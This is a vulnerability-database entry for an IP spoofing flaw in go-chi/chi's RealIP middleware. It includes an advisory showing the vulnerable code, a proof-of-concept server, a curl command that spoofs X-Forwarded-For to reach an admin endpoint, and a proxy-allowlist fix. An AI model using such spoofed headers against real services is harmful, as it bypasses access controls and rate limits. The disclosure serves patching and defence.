CVE-2026-72816
mediumpriority · track · 0EPSS 0.003 · 23 %ileEUUSEPSS · scored 2026-10-27
go-chi/chi through 5.2.1 contains an IP spoofing vulnerability in the RealIP middleware (middleware/realip.go). The realIP() function reads client-controlled headers (True-Client-IP, X-Real-IP, and X-Forwarded-For) and overwrites r.RemoteAddr without verifying that the request originated from a trusted proxy. Attackers can supply arbitrary IP addresses in these headers to bypass IP-based access controls, evade rate limiting and geo-IP restrictions, and pollute audit logs. Fixed in 5.3.0.
cvss
Technical severity, 0–10. One row per scoring source.
base score 0–10 · higher = more severe · hover a vector to decode⚠ sources disagree · low–medium · 2.7–6.9
ssvc
A stakeholder decision — act, attend, or track — from exploitation and impact.
weaknesses
The CWE weakness classes this flaw belongs to.
affected products (7)
Products and version ranges known to be affected.
advisories (2)
Vendor and ecosystem advisories describing this.
- GHSA-rjr7-jggh-pgcpchi's RealIP Middleware allows IP spoofing via unvalidated X-Forwarded-For header2026-06-25ghsa · osvUS
### Summary realip middleware in go-chi/chi trusts headers like x-forwarded-for without checking them, so attackers can fake their ip and bypass rate limits or access controls ### Details the vuln is in middleware/realip.go , the realIP() function pulls IPs straight from client headers and replaces r.RemoteAddr without checking if the request came from a trusted proxy ```go func realIP(r *http.Request) string { var ip string if tcip := r.Header.Get(trueClientIP); tcip != "" { ip = tcip // controlled by attacker } else if xrip := r.Header.Get(xRealIP); xrip != "" { ip = xrip // controlled by attacker } else if xff := r.Header.Get(xForwardedFor); xff != "" { ip, _, _ = strings.Cut(xff, ",") // controlled by attacker } // ... return ip } ``` no trusted proxy cidr check in place, any client can send these headers ### PoC create a server with chi and use realip middleware ```go package main import ( "fmt" "net/http" "github.com/go-chi/chi/v5" "github.com/go-chi/chi/v5/middleware" ) func main() { r := chi.NewRouter() r.Use(middleware.RealIP) r.Get("/admin", func(w http.ResponseWriter, r *http.Request) { // ip-based access control got bypassed if r.RemoteAddr == "127.0.0.1" { w.Write([]byte("SECRET ADMIN DATA")) return } http.Error(w, "Forbidden", 403) }) http.ListenAndServe(":8080", r) } ``` spoofed the ip to bypass access control ```bash curl -H "X-Forwarded-For: 127.0.0.1" http://localhost:8080/admin ``` ### Impact - ip-based access control bypass lets attackers reach restricted endpoints - rate limiting bypass lets attackers avoid limits by rotating spoofed ips - audit logs show fake ips picked by attacker instead of real ones - attackers can get around geo ip restrictions ## Remediation Recommendation validate proxy cidr first before trusting forwarded ip headers ```go // add your reverse proxy ip addresses here var trustedProxies = []net.IPNet{ {IP: net.ParseIP("10.0.0.0"), Mask: net.CIDRMask(8, 32)}, {IP: net.ParseIP("172.16.0.0"), Mask: net.CIDRMask(12, 32)}, {IP: net.ParseIP("192.168.0.0"), Mask: net.CIDRMask(16, 32)}, } func isTrustedProxy(ip net.IP) bool { for _, cidr := range trustedProxies { if cidr.Contains(ip) { return true } } return false } ```
- GO-2026-5777Chi's RealIP Middleware allows IP spoofing via unvalidated X-Forwarded-For header in github.com/go-chi/chi2026-07-24vendor · osvUS
Chi's RealIP Middleware allows IP spoofing via unvalidated X-Forwarded-For header in github.com/go-chi/chi
also known as (5)
Other names and identifiers for this entity.
sources
Which sources assert this record, and when.
references (6)
External citations — patches, advisories, analysis.
- https://github.com/go-chi/chi/security/advisories/GHSA-rjr7-jggh-pgcpcnnvd
- https://www.vulncheck.com/advisories/go-chi-chi-before-ip-spoofing-via-realip-middlewarecnnvd
- https://github.com/go-chi/chi/security/advisories/GHSA-rjr7-jggh-pgcpenisa_euvd
- https://www.vulncheck.com/advisories/go-chi-chi-before-ip-spoofing-via-realip-middlewareenisa_euvd
- https://github.com/go-chi/chi/security/advisories/GHSA-rjr7-jggh-pgcpnvd
- https://www.vulncheck.com/advisories/go-chi-chi-before-ip-spoofing-via-realip-middlewarenvd
Attackers weaponise vulnerabilities like this against internet-exposed services. See what is exposed on your perimeter with a free passive scan.
Free scan